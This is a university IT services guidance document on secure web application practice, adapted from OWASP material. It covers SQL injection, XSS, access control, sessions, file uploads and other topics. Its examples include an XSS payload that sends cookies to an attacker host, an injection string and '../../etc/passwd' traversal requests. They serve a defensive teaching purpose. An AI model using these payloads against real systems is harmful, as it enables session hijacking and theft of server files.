IT Services – Guidance Document

ITGD01 – Web Application Best Practise

Prepared by: < Ed Webb>

Version: 1.1

Description & Target Audience: This document describes best practises that may help to reduce the chances of introducing vulnerabilities into the code written to provide the web site's services. This document is aimed at anyone using a web applications within Queen Marys University.			
Effective Date:	**07/10/2016**	Status:	**Active**

Reviewers:	**Ian Douglas, Head of IT Security** **Ed Webb, Head of Development Services** **Martin Evans, Head of Data Centre Services** **David Boakes, Assistant Director Student & Staff Services**
Owner:	
Name/Position	Ed Webb Head of Development Services, IT Services

Revision History			
Version	Description	Author	Date
0.1	First Draft	EJW	19/03/2014
0.2	Second Draft - Added basic development best practices	EJW	26/03/2014
1.0	Finalised and uploaded	EJW	16/11/2015
1.1	Template change – no further changes after review	SM	07/10/2016

Authorisation:	
Name / Position	**Mark Duff Interim Director of IT Services**
Signature	**Mark Duff**
Date	**07/10/2016**

Table of Contents

1. Purpose

The intention of this document is to ensure that anyone who is involved in developing a web application or web site is aware of the potential insecurities and vulnerabilities that may be introduced into the code written to provide the web site's services and how these can be avoided or mitigated against by following these best practices. The precise method of implementation of best practice will vary depending on the coding language, web server platform and computer architecture that are used to deliver the web application.

Clear Credit

Much of this document has been taken from the University of Montana's Web Application Best Practices guide which itself copies heavily from the OWASP Top 10 for 2013, and the *General PHP Website Management Guidelines for QMUL Website Developers*.

2. Data Security

Description

Data held in a database or file accessible via the web application's URL that contains sensitive or personal information.

Example

A public facing web site which is used to display staff members' publications and research interests reads its data from a database that also contains the personal mobile number, pay grade and sickness record of staff.

A web application used by internal staff to manage student progress is available over the Internet. Part of this application can be accessed without logging in but still connects to the database to retrieve information.

Mitigation

Only data that is used by the web application should be present in the tables or views that the application's database user has access to. If there is a requirement to display some information publically then a different database user should be created for this and its access restricted to the fields it requires through views and database permissions. If data needs to be written back to the database then write permissions should be restricted to the smallest set of tables required. Obsolete data should be periodically deleted.

Following this practice will reduce the impact that a security breach could cause. If only publically available information is stored in a database then an attacker will only be able to extract public information through an exploit.

Any use of personal or sensitive data in a web application must be cleared with the Data Compliance Manager.

Data Compliance states:
Wherever possible the amount and type of information stored and collected should be kept to a minimum and steps taken to delete obsolete data on a regular basis. If you have no need for a field e.g. mobile phone number, then it should be removed and not included in future. This type of information should not reside on an externally accessible website or system unless absolutely necessary and if it does (or even if it doesn't) it should be protected appropriately i.e. behind IDcheck and with some added security such as encryption or by moving the website/data to a secure server.

3. Using Frameworks and Libraries

Description

Web application development can benefit from the use of frameworks and libraries that carry out certain functions. Using prewritten code greatly reduces the amount of code that a developer needs to write and reduces the number of bugs that may be introduced in this new code. Most web applications are built using interpreted code such as PHP and Java that require an interpreter programme to execute. There is a distinct possibility that one or more of these applications, frameworks or libraries contain bugs, vulnerabilities and exploitable flaws.

Example

Symphony or Laravel are PHP frameworks, Struts2 is a Java framework.

Wordpress and Drupal are Content Management Systems.

Java, Ruby, Python and PHP are all interpreted languages which rely on an interpreter to turn the code into machine instructions.

Mitigation

Using frameworks and other applications that reduce the amount of code that needs to be written is a good thing and will reduce the risk that a web application may contain vulnerabilities. However these frameworks are not guaranteed to be defect free and need to be upgraded when a new release is made to fix a security flaw. Third party code must be regularly reviewed to ensure that the following criteria are met:

- The framework must be actively maintained
- The version installed must be the most recent security release
- The version installed should be the most recent or the previous release
- The version installed must be supported by the developer

It may be necessary to downgrade to a previous version of the framework if a more recent version has introduced a vulnerability. On rare occasions it may be necessary to rewrite the application to remove the dependency on the framework if a fundamental flaw is discovered or if the framework is no longer actively maintained and contains known unpatched flaws.

4. SQL Injection (SQLi)

Description

Injection flaws, particularly SQL injection, are common in web applications. Injection occurs when user-supplied data is submitted as part of a command or query. The attacker's hostile data tricks the application into executing unintended commands or changing data.

Example

Given this piece of code which inserts user input directly into a query

```
$sql = " SELECT fieldlist FROM table WHERE email = '$_POST[' EMAIL']' " ;
```

The developer is expecting the user to submit a valid email address. However, there is nothing stopping a malicious user from submitting a string that entirely changes the query. Suppose the attacker submits:

```
x' or 'x' = 'x'
```

The query now becomes:

```
$sql = "SELECT fieldlist FROM table WHERE email = 'x' or 'x' = 'x';
```

Since 'x' = 'x' is always true the query will return every record in the table. This is a trivial example but this technique can be used to construct much more damaging queries.

Mitigation

Preventing injection requires keeping un-trusted data separate from commands and queries.

- The preferred option is to use a safe API that avoids the use of the interpreter entirely or provides a parameterized interface such as a prepared query where parameters are passed as arguments rather than concatenated into the query string.
- If the expected input is numeric, an item from a known list of possibilities or in a prescribed format then the input can be checked to ensure it matches the expected parameters.
- If a parameterized API is not available, you should carefully escape special characters using the specific escape syntax for that interpreter (e.g. for MySQL use the mysql_real_escape_string function).

5. Cross Site Scripting (XSS)

Description

XSS flaws occur whenever an application takes user supplied data and sends it to a web browser without first validating or encoding that content. XSS allows attackers to execute script in the victim's browser that can hijack user sessions, deface web sites or possibly introduce worms.

Example

The application uses un-trusted data in the construction of the following HTML snippet without validation or escaping:

```
page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "' > " ;
```

The attacker modifies the "CC" parameter in their browser to:

```
'><script> document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo=' + document.
cookie</script>'
```

This causes the victim's session ID to be sent to the attacker's website, allowing the attacker to hijack the user's current session.

Mitigation

Preventing XSS requires keeping un-trusted data separate from active browser content.

- The preferred option is to properly escape all un-trusted data (any user submitted data) based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Developers need to include this escaping in their applications unless their UI framework does this for them.
- If the expected input is numeric, an item from a known list of possibilities or in a prescribed format then the input can be checked to ensure it matches the expected parameters.
- Disable the TRACE HTTP method to prevent Cross-site tracing.

6. Insecure Direct Object Reference

Description

Retrieval of a user record occurs in the system based on some key value that is under user control (e.g. a value the user submits or a URL string that can be manipulated by the user). The key would typically identify a user related record stored in the system and would be used to lookup that record for presentation to the user. It is likely that an attacker would have to be an authenticated user in the system. However, the authorization process would not properly check the data access operation to ensure that the authenticated user performing the operation has sufficient entitlements to perform the requested data access, hence bypassing any other authorization checks present in the system.

Example

The application uses unverified data in a SQL call that is accessing account information:

```
String query = "SELECT * FROM students WHERE studentid = ?";
PreparedStatement pstmt = connection.prepareStatement(query , ... );
pstmt.setString( 1, request.getParameter("stuid"));
ResultSet results = pstmt.executeQuery();
```

The attacker simply modifies the 'stuid' parameter in their browser to send whatever student id they want. If not verified, the attacker can access any student's account, instead of only the intended student's account.

```
http://example.com/app/studentInfo?stuid=notmyid
```

Mitigation

The ability to retrieve any data that should be protected based on an identifier must be linked to the information known about the currently authenticated user.

- Where possible use the currently authenticated user's username to retrieve the data.
- Check access. Each use of a direct object reference from an un-trusted source must include an access control check to ensure that the currently logged in user is authorized to view the requested object.

7. Access to Restricted URLs

Description

Frequently, an application only protects sensitive functionality by preventing the display of links or URLs to unauthorized users. Attackers can use this weakness to access and perform unauthorized operations by accessing those URLs directly.

Example

The website has an administration section contained within the /admin/ directory.

```
http://example.com/app/home
http://example.com/app/admin/listusers
```

If access to the /admin/ directory is only restricted by not advertising the directory – it is not linked to from any public page or access to the /admin/ directory is allowed for any authorised user then an attacker will be able to discover this directory and gain access to its functionality.

Such flaws are frequently introduced when links and buttons are simply not displayed to unauthorized users, but the application fails to protect the pages they target.

Mitigation

Preventing unauthorized URL access requires selecting an approach for requiring proper authentication and proper authorization for each page. Frequently, such protection is provided by one or more components external to the application code. Regardless of the mechanism(s), all of the following are recommended:

- The authentication and authorization policies should be role based, to minimize the effort required to maintain these policies.
- The policies should be highly configurable in order to minimize any hard coded aspects of the policy.
- The enforcement mechanism(s) should deny all access by default, requiring explicit grants to specific users and roles for access to every page.
- If the page is involved in a workflow, check to make sure the conditions are in the proper state to allow access at each stage in the workflow.

8. Transport Layer Protection

Description

Applications frequently fail to authenticate, encrypt and protect the confidentiality and integrity of sensitive network traffic. When they do they sometimes support weak algorithms, use expired or invalid certificates or do not use them correctly.

Example

A site simply doesn't use SSL for all pages that require authentication. Attacker monitors network traffic (like an open wireless or their neighbourhood cable modem network), and observes an authenticated victim's session cookie. Attacker then replays this cookie and takes over the user's session.

A site has improperly configured SSL certificate which causes browser warnings for its users. Users have to accept such warnings and continue, in order to use the site. This causes users to get accustomed to such warnings. Phishing attack against the site's customers lures them to a lookalike site which doesn't have a valid certificate, which generates similar browser warnings. Since victims are accustomed to such warnings, they proceed and use the phishing site, giving away passwords or other private data.

A site simply uses a standard database connection. If the database and web server are in different physical locations then the information (e.g. database name, user, and password) can be viewed as it goes across the network.

Mitigation

Providing proper transport layer protection can affect the site design. It's easiest to require SSL for the entire site. For performance reasons, some sites use SSL only on private or sensitive pages. However the overhead of SSL is not that great and it is rarely worth the gain in performance considering the risk of not encrypting sensitive information. At a minimum, do all of the following:

1. Require SSL for all pages. Non-SSL requests to these pages should be redirected to the SSL page. Redirection should occur globally for all sensitive areas, not via an included script on each page.
2. Set the 'secure' flag on all sensitive cookies.
3. Ensure your certificate is valid, not expired, not revoked, and matches all domains used by the site.
4. Do not use self-signed certificates as this "trains" users to ignore invalid certificate warnings.
5. Backend and other connections (e.g. database connections that go across the network) should also use SSL or other encryption technologies.

9. Unvalidated Redirects and Forwards

Description

Web applications frequently redirect and forward users to other pages and websites, and use un-trusted data to determine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.

Example

The application has a page called "redirect.php" which takes a single parameter named "url". The attacker crafts a malicious URL that redirects users to a malicious site that performs phishing and installs malware.

```
http://www.example.com/redirect.php?url=evil.com
```

The application uses forward to route requests between different parts of the site. To facilitate this, some pages use a parameter to indicate where the user should be sent if a transaction is successful. In this case, the attacker crafts a URL that will pass the application's access control check and then forward the attacker to an administrative function that she would not normally be able to access.

```
http://www.example.com/boring.php?fwd=admin.php
```

Mitigation

Safe use of redirects and forwards can be done in a number of ways:

1. Simply avoid using redirects and forwards.
2. If used, don't involve user parameters in calculating the destination. This can usually be done.
3. If destination parameters can't be avoided, ensure that the supplied value is valid, and authorized for the user. It is recommended that any such destination parameters be a mapping value, rather than the actual URL or portion of the URL, and that server side code translate this mapping to the target URL.

Avoiding such flaws is extremely important as they are a favourite target of phishers trying to gain the user's trust.

10. Authentication and Session Management

Description

Authentication and session management includes all aspects of handling user authentication and managing active sessions. Authentication is a critical aspect of this process, but even solid authentication mechanisms can be undermined by flawed credential management functions, including password change, forgot my password, remember my password, account update, and other related functions. Because "walk by" attacks are likely for many web applications, all account management functions should require re-authentication even if the user has a valid session id.

Example

Airline reservations application supports URL rewriting, putting session IDs in the URL:

```
http://example.com/sale/saleitems;jsessionid=2P0OC2JDPX..LPSKHCJUN2JV?dest=Hawaii
```

An authenticated user of the site wants to let his friends know about the sale. He e-mails the above link without knowing he is also giving away his session ID. When his friends use the link they will use his session and credit card

Application's timeouts aren't set properly. User uses a public computer to access site. Instead of selecting "logout" the user simply closes the browser tab and walks away. Attacker uses the same browser an hour later, and that browser is still authenticated.

Insider or external attacker gains access to the system's password database. User passwords are not encrypted, exposing every user's password to the attacker.

Insider or external attacker gains access to an applications database. Usernames are stored plain text. The attacker now has a list of user names from which to launch brute force password attacks on any other application that uses usernames to authenticate users.

Mitigation

When possible QMUL applications should authenticate users against the LDAP directory using college username and password. By relying on the LDAP server to authenticate users many of the preventative measures listed in the next section are met. When possible applications should not rely on their own authentication mechanism but should use provided authentication tools.

11. Password Strength and Storage

Description

If it is not possible to authenticate against the LDAP service then serious consideration must be given to the creation, storage and transmission of passwords.

Password Strength

Passwords should have restrictions that require a minimum size and complexity for the password. Complexity typically requires the use of minimum combinations of alphabetic, numeric, and/or non-alphanumeric characters in a user's password (e.g., at least one of each). Users should be required to change their password periodically. Users should be prevented from reusing previous passwords.

Password Use

Users should be restricted to a defined number of login attempts per unit of time and repeated failed login attempts should be logged. Passwords provided during failed login attempts should not be recorded, as this may expose a user's password to whoever can gain access to this log. The system should not indicate whether it was the username or password that was wrong if a login attempt fails. Users should be informed of the date/time of their last successful login and the number of failed access attempts to their account since that time.

Password Change Controls

A single password change mechanism should be used wherever users are allowed to change a password, regardless of the situation. Users should always be required to provide both their old and new password when changing their password (like all account information). If forgotten passwords are emailed to users, the system should require the user to reauthenticate whenever the user is changing their e-mail address, otherwise an attacker who temporarily has access to their session (e.g., by walking up to their computer while they are logged in) can simply change their e-mail address and request a 'forgotten' password be mailed to them.

Password Storage

If an application needs to handle its own authentication it must not use the college username to identify users. All passwords must be stored in a salted hashed form to protect them from exposure, regardless of where they are stored.

Protecting Credentials in Transit

The only effective technique is to encrypt the entire login transaction using something like SSL. Simple transformations of the password such as hashing it on the client prior to transmission provide little protection as the hashed version can simply be intercepted and retransmitted even though the actual plaintext password might not be known.

Session ID Protection

Ideally a user's entire session should be protected via SSL. If this is done, then the session ID (e.g., session cookie) cannot be grabbed off the network, which is the biggest risk of exposure for a session ID. If SSL is not viable for performance or other reasons then session IDs themselves must be protected in other ways. First, they should never be included in the URL as they can be cached by the browser, sent in the referrer header, or accidentally forwarded to a 'friend'. Session IDs should be long, complicated, random numbers that cannot be easily guessed. Session IDs can also be changed frequently during a session to reduce how long a session ID is valid. Session IDs must be changed when switching to SSL, authenticating, or other major transitions. Session IDs chosen by a user should never be accepted.

Account Lists

Systems should be designed to avoid allowing users to gain access to a list of the account names on the site. If lists of users must be presented, it is recommended that some form of pseudonym (screen name) that maps to the actual account be listed instead. That way, the pseudonym can't be used during a login attempt or some other hack that goes after a user's account.

Browser Caching

Authentication and session data should never be submitted as part of a GET, POST should always be used instead. Authentication pages should be marked with all varieties of the no cache tag to prevent someone from using the back button in a user's browser to return to the login page and resubmit the previously typed in credentials. Many browsers now support the `autocomplete=false` flag to prevent storing of credentials in autocomplete caches.

Trust Relationships

Your site architecture should avoid implicit trust between components whenever possible. Each component should authenticate itself to any other component it is interacting with unless there is a strong reason not to (such as performance or lack of a usable mechanism). If trust relationships are required, strong procedural and architecture mechanisms should be in place to ensure that such trust cannot be abused as the site architecture evolves over time.

12. Security Misconfiguration

Description

Responsibly managing Web application security often involves the expertise of both developers and administrators and requires members from both sides of the project to properly ensure the security of a site's application. This is the case with respect to configuration.

Example

Your application relies on a powerful framework like Struts or Spring. XSS flaws are found in these framework components you rely on. An update is released to fix these flaws but you don't update your libraries. Until you do, attackers can easily find and exploit these flaws in your app.

The app server admin console is automatically installed and not removed. Default accounts aren't changed. Attacker discovers the standard admin pages are on your server, logs in with default passwords, and takes over.

Directory listing is not disabled on your server. Attacker discovers she can simply list directories to find any file. Attacker finds and downloads all your compiled Java classes, which she reverse engineers to get all your custom code. She then finds a serious access control flaw in your application.

Application server configuration allows stack traces to be returned to users, potentially exposing underlying flaws. Attackers love the extra information error messages provide.

You manage a Wordpress site. Some areas of the site are password protected. You have configured Wordpress to use SSL when users access the login pages. An upgrade is available and you apply it not realising the upgrade erased the settings that require SSL on the login pages. Submitted passwords are now sent in plain text across the network.

Mitigation

The primary recommendations for developers are to establish all of the following:

1. Development and production environments should be configured identically. This process should be automated to minimize the effort required to setup a new secure environment.
2. Properly manage file permissions - websites should ensure that all directory and file permissions are set to the fewest permissions necessary
3. Consider running scans and doing audits periodically to help detect future mis-configurations or missing patches.
4. Update code libraries
5. Web based database tools (e.g. phpmyadmin) are often installed incorrectly.
6. Content Management Systems (cms) are also problematic when it comes to security.
7. Do not store application configuration files within the web root.

13. Encrypted Data

Description

The first thing you have to determine is which data is sensitive enough to require encryption. For example, passwords, account names, student records, health records, and personal information should be encrypted anywhere it is stored long term.

Examples

An application encrypts credit card numbers in a database to prevent exposure to end users. However, the database is set to automatically decrypt queries against the credit card columns, allowing an SQL injection flaw to retrieve all the credit cards in cleartext. The system should have been configured to allow only back end applications to decrypt them, not the front end web application.

An Application uses basic authentication and resides on a multi-user system. The password file is stored outside the web root so that it cannot be downloaded via the web. However other users on the same machine can read your files via the UNIX shell if the file is not properly protected. Another account on the machine is hacked and your password file becomes exposed. Because basic authentication does not use true encryption it is trivial to decode the passwords.

Mitigation

For all data deemed sensitive or confidential you must ensure:

1. It is encrypted everywhere it is stored long term, particularly in backups.
2. Only authorized users can access decrypted copies of the data.
3. A strong standard encryption algorithm is used.

14. Denial of Service

Description

A web application can't easily tell the difference between an attack and ordinary traffic. There are many factors that contribute to this difficulty, but one of the most important is that, for a number of reasons, IP addresses are not useful as an identification credential. Because there is no reliable way to tell where an HTTP request is from, it is very difficult to filter out malicious traffic. Most web servers can handle several hundred concurrent users under normal use. A single attacker can generate enough traffic from a single host to swamp many applications.

Once an attacker can consume all of some required resource, they can prevent legitimate users from using the system. Some resources that are limited include bandwidth, database connections, disk storage, CPU, memory, threads, or application specific resources. All of these resources can be consumed by attacks that target them.

Example

A site that allows unauthenticated users to request message board traffic may start many database queries for each HTTP request they receive. An attacker can easily send so many requests that the database connection pool will get used up and there will be none left to service legitimate users.

An attacker might be able to lock out a legitimate user by sending invalid credentials until the system locks out the account. Or the attacker might request a new password for a user, forcing them to access their email account to regain access.

If the system locks any resources for a single user, then an attacker could potentially tie them up so others could not use them.

Applications that do not properly handle errors can even take down the web application container. These attacks are particularly devastating because they instantly prevent all other users from using the application.

Mitigation

There are a wide variety of these attacks, most of which can be easily launched with a few lines of perl code from a low powered computer. While there are no perfect defences to these attacks, it is possible to make it more difficult for them to succeed.

Defending against denial of service attacks is difficult, as there is no way to protect against these attacks perfectly. As a general rule, you should limit the resources allocated to any user to a bare minimum. For authenticated users, it is possible to establish quotas so that you can limit the amount of load a particular user can put on your system. In particular, you might consider only handling one request per user at a time by synchronizing on the user's session. You might also consider dropping any requests that you are currently processing for a user when another request from that user arrives.

For unauthenticated users, you should avoid any unnecessary access to databases or other expensive resources. Try to architect the flow of your site so that an unauthenticated user will not be able to invoke any expensive operations. You might consider caching the content received by unauthenticated users instead of generating it or accessing databases to retrieve it.

You should also check your error handling scheme to ensure that an error cannot affect the overall operation of the application.

15. File upload vulnerabilities

Description

Uploaded files represent a significant risk to applications. The first step in many attacks is to get some code to the system to be attacked. Then the attack only needs to find a way to get the code executed. Using a file upload helps the attacker accomplish the first step.

The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, and simple defacement. It depends on what the application does with the uploaded file and especially where it is stored.

Example

- Upload .jsp file into web tree - jsp code executed as web user
- Upload .gif to be resized - image library flaw exploited
- Upload huge files - file space denial of service
- Upload file using malicious path or name - overwrite critical file
- Upload file containing personal data - other users access it
- Upload file containing "tags" - tags get executed as part of being "included" in a web page

- Upload .exe file into web tree – victims download trojan executable
- Upload virus infected file – victims' machines infected
- Upload .html file containing script – victim exposed to cross site scripting

Mitigation

- Avoid unnecessary file uploads.
- Limit the maximum size of file that can be uploaded and the maximum number of files that can be uploaded either by user or by time – only allowing 10 uploads per minute.
- Ensure that files uploaded by the user cannot be interpreted as script files by the web server, e.g. by checking the file extension (or whatever means your web server uses to identify script files).
- Ensure that files cannot be uploaded to unintended directories (directory traversal).
- Save the file with a generated file name, not the one that the user supplied. If this is not possible limit the filename length and remove all non-alphanumeric characters from the filename.
- Disable script execution in the upload directory.
- Ensure that the file extension matches the actual type of the file content.
- If only images are to be uploaded, consider re-compressing them using a secure library to ensure they are valid.
- Ensure that uploaded files are specified with the correct Content-type when delivered to the user.
- Prevent users from uploading problematic file types like HTML, CSS, JavaScript, XML, SVG and executables using a whitelist of allowed file types.
- Prevent users from uploading special files (e.g. `.htaccess`, `web.config`, `robots.txt`, `crossdomain.xml`, `clientaccesspolicy.xml`).
- Prevent users from overwriting application files.
- Virus scan the uploaded files.
- If accepting a zip or other form of archive file check each file in the archive.
- Don't present the uploaded file to other users without ensuring that they are not malicious.

16. Directory Traversal

Description

A Path Traversal attack aims to access files and directories that are stored outside the web root folder. By browsing the application, the attacker looks for absolute links to files stored on the web server. By manipulating variables that reference files with "dot-dot-slash (../)" sequences and its variations, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration and critical system files, limited by system operational access control. The attacker uses "../" sequences to move up to root directory, thus permitting navigation through the file system.

This attack can be executed with an external malicious code injected on the path, like the Resource Injection attack. To perform this attack it's not necessary to use a specific tool; attackers typically use a spider/crawler to detect all URLs available.

This attack is also known as "dot-dot-slash", "directory traversal", "directory climbing" and "backtracking".

Example

The web application has a function that displays a named file.

```
http://some_site.com.br/get-files.jsp?file=report.pdf
```

It is possible to insert a malicious string as the file parameter to access files located outside the web publish directory.

```
http://some_site.com.br/get-files.jsp?file=../../../../etc/passwd
```

It is also possible to include files and scripts located on external website.

```
 http://some_site.com.br/some-page?page=http://other-site.com.br/other-page.htm/malicius-code.php
```

Or allow an attacker to view the server's CGI source code.

```
 http://some_site.com.br/cgi-bin/main.cgi?file=main.cgi
```

Even if the file path is not directly provided in the URL but via a cookie it is still trivial to script a directory traversal attack.

```
GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../etc/passwd
```

Mitigation

- Prefer working without user input when using file system calls.
- Use indexes rather than actual portions of file names when templating or using language files (i.e. the parameter `lang= 5` translates to Czechoslovakian, rather than allowing the user to enter the parameter `lang=Czechoslovakian`).
- Ensure the user cannot supply all parts of the path – surround it with your path code.
- Validate the user's input by only accepting known good – do not sanitize the data.

17. Clickjacking

Description

Clickjacking, also known as a "UI redress attack", is when an attacker uses multiple transparent or opaque layers to trick a user into clicking on a button or link on another page when they were intending to click on the top level page. Thus, the attacker is "hijacking" clicks meant for their page and routing them to other another page, most likely owned by another application, domain, or both.

Using a similar technique, keystrokes can also be hijacked. With a carefully crafted combination of stylesheets, iframes, and text boxes, a user can be led to believe they are typing in the password to their email or bank account, but are instead typing into an invisible frame controlled by the attacker.

Examples

An attacker may build a web site that has a button on it that says "click here for a free iPod". However, on top of that web page, the attacker has loaded an iframe with your mail account, and lined up exactly the "delete all messages" button directly on top of the "free iPod" button. The victim tries to click on the "free iPod" button but instead actually clicked on the invisible "delete all messages" button. In essence, the attacker has "hijacked" the user's click, hence the name "Clickjacking".

One of the most notorious examples of Clickjacking was an attack against the Adobe Flash plugin settings page. By loading this page into an invisible iframe, an attacker could trick a user into altering the security settings of Flash, giving permission for any Flash animation to utilize the computer's microphone and camera.

There have also been clickjacking attacks abusing Facebook's "Like" functionality. Attackers can trick logged-in Facebook users to arbitrarily like fan pages, links or groups.

Mitigation

`The X-Frame-Options` HTTP response header can be used to indicate whether or not a browser should be allowed to render a page in a `<frame>` or `<iframe>`. Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites. To implement this protection, you need to add the header to any page that you want to protect from being clickjacked. One way to do this is to add the header manually to every page. A possibly simpler way is to implement a filter that automatically adds the header to every page.

For older browsers that do not understand the `X-Frame-Options` header a "frame busting" script can be included in each page. This is reliant on the browser being able to execute javascript; if not the page will not be displayed at all.

```
<style id="antiClickjack">body{display:none !important;}</style>
<script type="text/javascript">
    if (self === top) {
        var antiClickjack = document.getElementById("antiClickjack");
        antiClickjack.parentNode.removeChild(antiClickjack);
    } else {
        top.location = self.location;
    }
</script>
```

18. Use a Source Control System

Description

A source control system allows the files related to a software project to be stored in a repository to ensure that all the code, configuration and documentation for the project are kept together. A source control system will also keep track of changes to files and allow changes to be rolled back if a vulnerability has been introduced.

Example

CVS, Subversion and Visual Source Safe are all examples of Client-Server source control systems where a number of client machines connect to a central repository.

Git and Mercurial are examples of Distributed source control systems where each developer has a copy of the repository and changes are shared between clients.

Mitigation

Using a source control system ensures that changes made to the code and configuration of an application are recorded and can be rolled back if necessary. Using a central server that is backed up on a regular schedule reduces the risk of the source code being lost in the case of a PC or server failure and allows the web site's code to be restored to a known good configuration if the web server is compromised.

19. Change Control

Description

Change Control is a formal process used to ensure that changes to a product or system are introduced in a controlled and co-ordinated manner. It reduces the possibility that unnecessary changes will be introduced to a system without forethought, introducing faults into the system or undoing changes made by other users of software. The goals of a change control procedure usually include minimal disruption to services, reduction in back-out activities, and cost-effective utilization of resources involved in implementing change.

Example

The ITIL Change Management process states that "*The goal of the change management process is to ensure that standardized methods and procedures are used for efficient and prompt handling of all changes, in order to minimize the impact of change-related incidents upon service quality, and consequently improve the day-to-day operations of the organization.*"

Mitigation

Always ensure that any change to a system is made in such a way as to minimise the impact of that change. All changes should be tested to ensure that the change has the desired effect and that it does not have any adverse effects on other functions of the application. Depending on the size of the application and the number of users it may not be necessary to implement a full formal change control process but at a minimum changes that require the application to be unavailable to users for a significant period of time and those that will introduce new functionality or a change to the user interface should be communicated to users in advance of the change being made.

20. Coding Standards

Description

Following a coding standard makes code more easily readable and reduces the likelihood of creating insecure code.

- Every programming language has standards and conventions. Follow these standards and conventions when developing code. This will mean that if the code needs to be shared with others or passed on to be maintained by someone else they have a better chance of following the code.
- Use constants instead of magic numbers and strings directly in the code. These help to document the numbers and strings and allow for them to be changed easily in one place.
- Delete or at least comment out sections of code that are not in use. This will reduce the amount of code a maintainer will need to scan through and remove confusion over which parts of the code are "live".
- Use descriptive names for variables and constants. i, j and k are acceptable for loop indices but others should have proper names. This will help the code to be self-documenting. These names should be nouns: *purchaseValue*, *studentID*, *moduleCode*.
- Use descriptive names for methods, functions and procedures. The name should make it obvious what the method does. These names should be a verb-noun combination: *getStudent()*, *enrolStudentOnModule()*, *isActive()*.
- Use comments to describe **why** the code is doing what it is doing; a competent developer can see **what** the code is doing and **how** it is doing it by reading the code itself. Keep comments up to date and always delete comments that are no longer true. Bad comments are worse than no comments.
- Indent code so to convey the code's structure. Where possible use a development environment that automatically indents code or run a batch process over code to correctly indent.